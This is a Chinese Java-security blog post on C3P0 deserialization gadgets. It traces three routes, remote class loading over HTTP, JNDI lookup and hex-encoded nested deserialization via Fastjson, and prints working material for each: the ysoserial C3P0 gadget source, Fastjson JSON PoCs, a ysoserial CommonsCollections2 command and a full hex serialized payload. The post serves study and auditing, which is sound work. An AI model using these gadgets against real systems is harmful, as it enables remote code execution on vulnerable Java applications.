淺談Java安全之C3P0的使用
寫在前面
很久以前就聽nice0e3師傅說打Fastjson可以試試C3P0,當(dāng)時(shí)還不會(huì)java(雖然現(xiàn)在也沒會(huì)多少)也就沒有深究。最近調(diào)試Fastjson的漏洞,又想到了這個(gè)點(diǎn),就拿出來學(xué)習(xí)下。
C3P0 Gadget
C3P0中有三種利用方式
- http base
- JNDI
- HEX序列化字節(jié)加載器
下面來一點(diǎn)點(diǎn)看他們究竟是怎樣使用的。
先貼上ysoserial項(xiàng)目中C3P0 Gadget的源碼:
package ysoserial.payloads; import java.io.PrintWriter; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import com.mchange.v2.c3p0.PoolBackedDataSource; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; /** * * * com.sun.jndi.rmi.registry.RegistryContext->lookup * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject * * Arguments: * - base_url:classname * * Yields: * - Instantiation of remotely loaded class * * @author mbechler * */ @PayloadTest ( harness="ysoserial.test.payloads.RemoteClassLoadingTest" ) @Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} ) @Authors({ Authors.MBECHLER }) public class C3P0 implements ObjectPayload<Object> { public Object getObject ( String command ) throws Exception { int sep = command.lastIndexOf(':'); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: <base_url>:<classname>"); } String url = command.substring(0, sep); String className = command.substring(sep + 1); PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); return b; } private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { private String className; private String url; public PoolSource ( String className, String url ) { this.className = className; this.url = url; } public Reference getReference () throws NamingException { return new Reference("exploit", this.className, this.url); } public PrintWriter getLogWriter () throws SQLException {return null;} public void setLogWriter ( PrintWriter out ) throws SQLException {} public void setLoginTimeout ( int seconds ) throws SQLException {} public int getLoginTimeout () throws SQLException {return 0;} public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} public PooledConnection getPooledConnection () throws SQLException {return null;} public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} } public static void main ( final String[] args ) throws Exception { PayloadRunner.run(C3P0.class, args); } }
http base
可以本地起一個(gè)反序列化的環(huán)境,導(dǎo)入c3p0的依賴
<dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency>
會(huì)導(dǎo)入下面兩個(gè)jar
c3p0-0.9.5.2.jar
mchange-commons-java-0.2.11.jar
在ysoserial項(xiàng)目中直接測試下
public static void main ( final String[] args ) throws Exception { // PayloadRunner.run(C3P0.class, args); C3P0 c3P0 = new C3P0(); Object object = c3P0.getObject("http://127.0.0.1:9010/:calc"); byte[] serialize = Serializer.serialize(object); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); Object o = objectInputStream.readObject(); }
之后準(zhǔn)備個(gè)彈計(jì)算器的類,編譯成class,之后再起個(gè)http服務(wù)
import java.io.IOException; public class calc { static{ try { Runtime.getRuntime().exec("open -a Calculator"); } catch (IOException e) { e.printStackTrace(); } } }
C3P0.getObject()
先來正向調(diào)試下序列化的過程
先跟進(jìn)看C3P0.getObject()
前面是通過最后一個(gè):
拿到url
和需要遠(yuǎn)程加載的className
之后通過反射創(chuàng)建了一個(gè)PoolBackedDataSource
對(duì)象
接著反射設(shè)置PoolBackedDataSourceBase
類中屬性connectionPoolDataSource
為PoolSource
對(duì)象
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
實(shí)例化時(shí)會(huì)把url
和className
即我們遠(yuǎn)程地址和惡意類的類名賦值給PoolSource
的屬性
序列化
序列化時(shí)會(huì)調(diào)用com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject()
方法,但是會(huì)拋出異常進(jìn)入catch
部分
之后依然會(huì)調(diào)用writeObject方法
首先會(huì)先去indirector.indirectForm(this.connectionPoolDataSource)
,而this.connectionPoolDataSource
的兩個(gè)屬性是我們的遠(yuǎn)程地址和惡意類類名
indirectForm方法邏輯如下:
public IndirectlySerialized indirectForm(Object var1) throws Exception { Reference var2 = ((Referenceable)var1).getReference(); return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties); }
首先調(diào)用我們傳入對(duì)象的getReference
方法,也即是PoolSource#getReference()
該方法會(huì)實(shí)例化一個(gè)Reference
對(duì)象
后面將生成的Reference
對(duì)象作為參數(shù)傳遞進(jìn)ReferenceIndirector.ReferenceSerialized
,調(diào)用有參構(gòu)造去實(shí)例化
反序列化
反序列化入口點(diǎn)應(yīng)在PoolBackedDataSourceBase#readObject()
處,我們下個(gè)斷點(diǎn)跟進(jìn)去
而在readObject()
中會(huì)去調(diào)用ReferenceIndirector.ReferenceSerialized#getObject()
方法,這里單步調(diào)試進(jìn)不去,直接在getObject()
方法內(nèi)下斷點(diǎn)F9跟進(jìn)去。這里并沒有調(diào)用lookup
而是走到調(diào)用ReferenceableUtils.referenceToObject()
,繼續(xù)跟
通過URLClassLoader
遠(yuǎn)程加載類造成遠(yuǎn)程代碼執(zhí)行
Class.forName()
在nice0e3師傅文章里看到的,這個(gè)點(diǎn)以前學(xué)反射的時(shí)候沒深入跟,這里深入學(xué)習(xí)一下。
這里如果可以控制forName?法的第?個(gè)和第三個(gè)參數(shù),并且第?個(gè)參數(shù)為 true,那么就可以利?BCEL, ClassLoader實(shí)現(xiàn)任意代碼加載執(zhí)? 。
首先可以把關(guān)鍵代碼摳出來
ClassLoader var6 = Thread.currentThread().getContextClassLoader(); String var4 = "calc"; URL var8 = new URL("http://127.0.0.1:9010"); var7 = new URLClassLoader(new URL[]{var8}, var6); Class var12 = Class.forName(var4, true, (ClassLoader)var7);
調(diào)試下看看,進(jìn)入Class.forName()
后首先去看是否設(shè)置了SecurityManager
沒有的話則去調(diào)用forName0()
public static Class<?> forName(String name, boolean initialize, ClassLoader loader) throws ClassNotFoundException { if (loader == null) { SecurityManager sm = System.getSecurityManager(); if (sm != null) { ClassLoader ccl = ClassLoader.getCallerClassLoader(); if (ccl != null) { sm.checkPermission( SecurityConstants.GET_CLASSLOADER_PERMISSION); } } } return forName0(name, initialize, loader); }
forName0()
里是native代碼,底層是C/C++實(shí)現(xiàn),就跟不了了
private static native Class<?> forName0(String name, boolean initialize, ClassLoader loader) throws ClassNotFoundException;
官方文檔說明:只有當(dāng) initialize參數(shù)是true并且之前沒有被初始化時(shí),類才會(huì)被初始化。
Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.
這里其實(shí)在審計(jì)的時(shí)候也可以關(guān)注下forName()
的參數(shù)是否可控,可控的話就可以通過初始化來觸發(fā)代碼執(zhí)行
JNDI
利用姿勢(shì)
以Fastjson為例
PoC
{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"rmi://127.0.0.1:1099/badClassName", "loginTimeout":0}
調(diào)試分析
JNDI的話主要利用的是com.mchange.v2.c3p0.JndiRefForwardingDataSourceBase
中的setjndiName()
去設(shè)置我們遠(yuǎn)程ldap地址
最終走第二個(gè)if中this.pcs.firePropertyChange()
方法
public void setJndiName(Object jndiName) throws PropertyVetoException { Object oldVal = this.jndiName; if (!this.eqOrBothNull(oldVal, jndiName)) { this.vcs.fireVetoableChange("jndiName", oldVal, jndiName); } this.jndiName = jndiName instanceof Name ? ((Name)jndiName).clone() : jndiName; if (!this.eqOrBothNull(oldVal, jndiName)) { this.pcs.firePropertyChange("jndiName", oldVal, jndiName); } }
之后在解析到loginTimeout
字段時(shí)會(huì)調(diào)用com.mchange.v2.c3p0JndiRefForwardingDataSource#setLoginTimeout()
方法
public void setLoginTimeout(int seconds) throws SQLException { this.inner().setLoginTimeout(seconds); }
在inner()
中,跟入this.dereference()
private synchronized DataSource inner() throws SQLException { if (this.cachedInner != null) { return this.cachedInner; } else { DataSource out = this.dereference(); if (this.isCaching()) { this.cachedInner = out; } return out; } }
在其中觸發(fā)了JNDI
先利用com.mchange.v2.c3p0.JndiRefDataSourceBase#setJndiName()
設(shè)置遠(yuǎn)程ldap地址,之后通過com.mchange.v2.c3p0JndiRefForwardingDataSource#setLoginTimeout()
==> this.inner()
==> InitialContext.lookup()
觸發(fā)JNDI
Hex序列化字節(jié)加載器
利用姿勢(shì)
這里其實(shí)就是常聽到的就是用C3P0二次反序列化打Fastjson,因?yàn)橄馞astjson和Jackson在反序列化時(shí)都會(huì)觸發(fā)setter方法的執(zhí)行,而C3P0中userOverridesAsString
的setter會(huì)將HexAsciiSerializedMap
開頭的hex字符串進(jìn)行解碼再去觸發(fā)Java原生的反序列化
PoC
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex編碼內(nèi)容;"}}
先生成序列化payload,這里的payload注意是需要本地的另一條Gadget比如CC或者CB鏈,然后hex編碼一下拼到PoC里
CC2
? target java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "open -a Calculator" > calc.ser
public static void main(String[] args) throws IOException, ClassNotFoundException { System.out.println("hello"); InputStream in = new FileInputStream("/Users/sangfor/Downloads/ysoserial-master/target/calc.ser"); byte[] data = toByteArray(in); in.close(); String HexString = bytesToHexString(data, data.length); System.out.println(HexString); } public static byte[] toByteArray(InputStream in) throws IOException { byte[] classBytes; classBytes = new byte[in.available()]; in.read(classBytes); in.close(); return classBytes; } public static String bytesToHexString(byte[] bArray, int length) { StringBuffer sb = new StringBuffer(length); for(int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); } sb.append(sTemp.toUpperCase()); } return sb.toString(); }
Calc Hex String
ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E00200007870000006A6CAFEBABE0000003200390A0003002207003707002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100126F70656E202D612043616C63756C61746F7208003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D61705461626C6501001D79736F73657269616C2F50776E6572343835333735313638353139363001001F4C79736F73657269616C2F50776E657234383533373531363835313936303B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000036000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D0000000600010000003B000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D0000000600010000003F000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A000100020023001000097074000450776E727077010078737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000178
回顯RCE,PoC參考safe6sec項(xiàng)目
Godzilla4 Memshell
調(diào)試分析
前面也提到了,主要是調(diào)用到userOverridesAsString
的setter觸發(fā)了反序列化,跟進(jìn)去看一下
this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);
跟進(jìn)listeners[current].vetoableChange(event);
之后進(jìn)入WrapperConnectionPoolDataSource#setUpPropertyListeners()
方法,其中調(diào)用了C3P0ImplUtils.parseUserOverridesAsString((String)val)
去解析我們傳入的HexString
private void setUpPropertyListeners() { VetoableChangeListener setConnectionTesterListener = new VetoableChangeListener() { public void vetoableChange(PropertyChangeEvent evt) throws PropertyVetoException { String propName = evt.getPropertyName(); Object val = evt.getNewValue(); if ("connectionTesterClassName".equals(propName)) { try { WrapperConnectionPoolDataSource.this.recreateConnectionTester((String)val); } catch (Exception var6) { if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) { WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to create ConnectionTester of class " + val, var6); } throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt); } } else if ("userOverridesAsString".equals(propName)) { try { WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString((String)val); } catch (Exception var5) { if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) { WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, var5); } throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt); } } } }; this.addVetoableChangeListener(setConnectionTesterListener); }
繼續(xù)跟進(jìn),利用subString
截取了HexAsciiSerializedMap
之后的Hex編碼字符串,交給ByteUtils.fromHexAscii(hexAscii)
把Hex轉(zhuǎn)成bytes數(shù)組,之后調(diào)用SerializableUtils.fromByteArray(serBytes)
處理
調(diào)用了deserializeFromByteArray
方法,之后進(jìn)入Java原生的readObject()
Reference
https://www.cnblogs.com/nice0e3/p/15058285.html
http://redteam.today/2020/04/18/c3p0的三個(gè)gadget/
https://github.com/safe6Sec/Fastjson
到此這篇關(guān)于淺談Java安全之C3P0的使用的文章就介紹到這了,更多相關(guān)Java C3P0內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Springboot自動(dòng)裝配之注入DispatcherServlet的實(shí)現(xiàn)方法
這篇文章主要介紹了Springboot自動(dòng)裝配之注入DispatcherServlet,Springboot向外界提供web服務(wù),底層依賴了springframework中的web模塊來實(shí)現(xiàn),那么springboot在什么時(shí)機(jī)向容器注入DispatcherServlet這個(gè)核心類的呢?帶著這個(gè)問題一起通過本文學(xué)習(xí)吧2022-05-05一文了解Java Log框架徹底搞懂Log4J,Log4J2,LogBack,SLF4J
本文主要介紹了一文了解Java Log框架徹底搞懂Log4J,Log4J2,LogBack,SLF4J,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2023-03-03Spring中@Autowired @Resource @Inject三個(gè)注解有什么區(qū)別
在我們使用Spring框架進(jìn)行日常開發(fā)過程中,經(jīng)常會(huì)使用@Autowired, @Resource, @Inject注解來進(jìn)行依賴注入,下面來介紹一下這三個(gè)注解有什么區(qū)別2023-03-03Java不用算數(shù)運(yùn)算符來實(shí)現(xiàn)求和方法
我們都知道,Java的運(yùn)算符除了具有優(yōu)先級(jí)之外,還有一個(gè)結(jié)合性的特點(diǎn)。當(dāng)一個(gè)表達(dá)式中出現(xiàn)多種運(yùn)算符時(shí),執(zhí)行的先后順序不僅要遵守運(yùn)算符優(yōu)先級(jí)別的規(guī)定,還要受運(yùn)算符結(jié)合性的約束,以便確定是自左向右進(jìn)行運(yùn)算還是自右向左進(jìn)行運(yùn)算,但是如果不用運(yùn)算符怎么求和呢2022-04-04Can''t use Subversion command line client:svn 報(bào)錯(cuò)處理
這篇文章主要介紹了Can't use Subversion command line client:svn 報(bào)錯(cuò)處理的相關(guān)資料,需要的朋友可以參考下2016-09-09